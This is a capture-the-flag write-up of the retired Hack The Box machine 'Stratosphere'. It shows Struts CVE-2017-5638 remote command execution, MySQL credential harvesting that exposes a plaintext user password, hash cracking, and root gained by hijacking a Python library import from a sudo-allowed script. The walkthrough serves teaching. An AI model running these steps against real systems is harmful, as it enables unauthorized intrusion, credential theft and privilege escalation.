Stratosphere retires this week at HTB. I really liked this box for its awesome privilege escalation (privesc) and the rabbit holes. So without further ado, this is your pilot Minato reporting, looks like there's some turbulence... Lets hit stratosphere!!!

Nmap Scan

Let's start with a quick nmap -

nmap -sV -T4 -oN stratos.nmap
Starting Nmap 7.60 ( ) at 2018-08-30 10:27 IST
Nmap scan report for
Host is up (0.16s latency).
Not shown: 997 filtered ports
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp   open  http
8080/tcp open  http-proxy                                                                                          

We have 22,80 and 8080 open. Both ports seem to have the same page and there's nothing interesting either on the page or the source. Let's dirsearch it.

# python3 -u -t 20 -e ''

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 20 | Wordlist size: 220521

Error Log: /home/zadmin/Documents/wiz/dirsearch/logs/errors-18-08-30_11-23-07.log


[11:23:07] Starting: 
[11:23:08] 200 -    2KB - /
[11:23:53] 302 -    0B  - /manager  ->  /manager/
[11:25:15] 302 -    0B  - /Monitoring  ->  /Monitoring/

We spot /manager/ which is the console for Apache tomcat, so it looks like the server is running tomcat. Heading to /Monitoring/ redirects me to which has a register and sign in functionality both of which were inactive. The extension .action is used sometimes instead of .do for apache struts action. Which reminded me of CVE 2017-5638 which allows RCE through OGNL ( Object graph navigation language).

Exploiting Struts to Get RCE

Apache Struts is a model-view-controller framework for creating Java web applications. Struts has suffered from a couple of vulnerabilities using the technique of object-graph navigation language (OGNL)  injection. OGNL is an expression language that allows the setting of object properties and execution of various methods of Java classes. OGNL  can be used maliciously to perform remote code execution attacks against Apache servers.

An attacker can use Content-Type HTTP header by setting it to Content-Type: %{(#_='multipart/form-data').(other bad stuff) and submit OGNL expressions, which would satisfy the condition for it to be accepted by the Jakarta Multipart parser, after which the parser throws an exception and displays an error. But, the problem is that after an error is thrown the Content-type header isn't escaped and any expression in ${..} is treated as an OGNL expression and evaluated by the server. This flaw can be exploited to achieve command execution. (Those were a few lines of me acting smart, hope you understood how the RCE works. :p).

Let's see if nmap find its vulnerable or not.

# nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/

Starting Nmap 7.60 ( ) at 2018-08-30 12:17 IST
Nmap scan report for
Host is up (0.15s latency).

8080/tcp open  http-proxy
| http-vuln-cve2017-5638: 
|   Apache Struts Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-5638
|       Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
|       vulnerability via the Content-Type header.
|     Disclosure date: 2017-03-07
|     References:

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

Oh yes, it does! Now for the exploitation, I'll be using this script -, which opens in a memory shell, execute commands and rewrite the HTTP response object with command execution results.

root@zadmin-Lenovo-G580:/tmp# python id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

Here we see id getting executed.11 Time to enumerate!!

The first thing which came to mind was to read the tomcat-users config file and get the creds for manager console. (1337 huh? ). I got the creds, but it was it was a big troll. Well, that was depressing. Continuing further, there was a db_connect file in the pwd. It seemed to have creds for the database (db).

# python "cat db_connect"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: cat db_connect



Now, any sane person would prefer the first set of creds over the second, which was another big troll. After hours of wasting time trying to poke these creds at any running service, I decided to give admin:admin a try and was enlightened when it worked for mysql. (Oh and I forgot to mention the infinite attempts I made to get a reverse shell, with a ton of one-liners, scripts and other junk. Looks like the server had iptables configured.)

# python 'mysql -u admin -padmin -e "show databases"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "show databases"


You can use -p<password> without any spaces to force login from the command line and use the -e flag to execute commands. We see a db users, let's check its contents.

# python 'mysql -u admin -padmin -e "use users;show tables"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "use users;show tables"

# python 'mysql -u admin -padmin -e "use users;select * from accounts"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "use users;select * from accounts"

fullName        password        username
Richard F. Smith        9tc*rhKuG5TyXvUJOrE^5CK7k       richard

Privilege Escalation (PrivEsc)

Boom, we got creds and thankfully it works for ssh login. Once I got in, before doing enumeration I check what sudo perms do we have.

richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
    (ALL) NOPASSWD: /usr/bin/python* /home/richard/

So, we can execute as root. Let's check what that is about.

richard@stratosphere:~$ cat                                                                                                                   
import hashlib                                                                                                                                

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 ='md4')
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake ='BLAKE2b512')
    if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")

    import os


Looks like our prayers have been answered. :) Just a bunch of hashes to crack and execute /root/, no sweat mate. So I put on my cracking face and started cracking dem hashes. The first three were md5, sha1 and md4 hashes.

Those were pretty easy and crackstation dealt with them, but the last one was a blake2b512 hash, so I had to john, it was all worth in return for root but...

richard@stratosphere:~$ sudo /usr/bin/python /home/richard/
Solve: 5af003e100c80923ec04d65933d382cb
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
sh: 1: /root/ not found

Well played, mate. This one seems to have more rabbit holes than Rabbit. -_-

After this achievement I got stuck for quite a while, enumerating the whole box and other stupid stuff. But then, a friend of mine told me to look at the head of the script again. (Well, of course, I was dumb to spot it myself). That's when I came across this excellent post by rastating:

Python considers the folder in which the script is being executed above the path of the libraries, which we can use to our advantage and hijack the execution. As you can see the script import hashlib. Hence, we can create a script in the home folder and get execution. Here's what I did.

richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' >
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/ 
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root@stratosphere:/home/richard# cat /root/root.txt 
----------------------HAHA NO------------------------------

And bam!!! We are root now.

So that's it for this week. See you later!

Additional Stuff

Apache struts got hit again!

Check out this awesome post by TheMiddle - for more awesome stuff.

The awesome imagery used in this article is called "Space Frolic" and was designed by Tomas Brunsdon.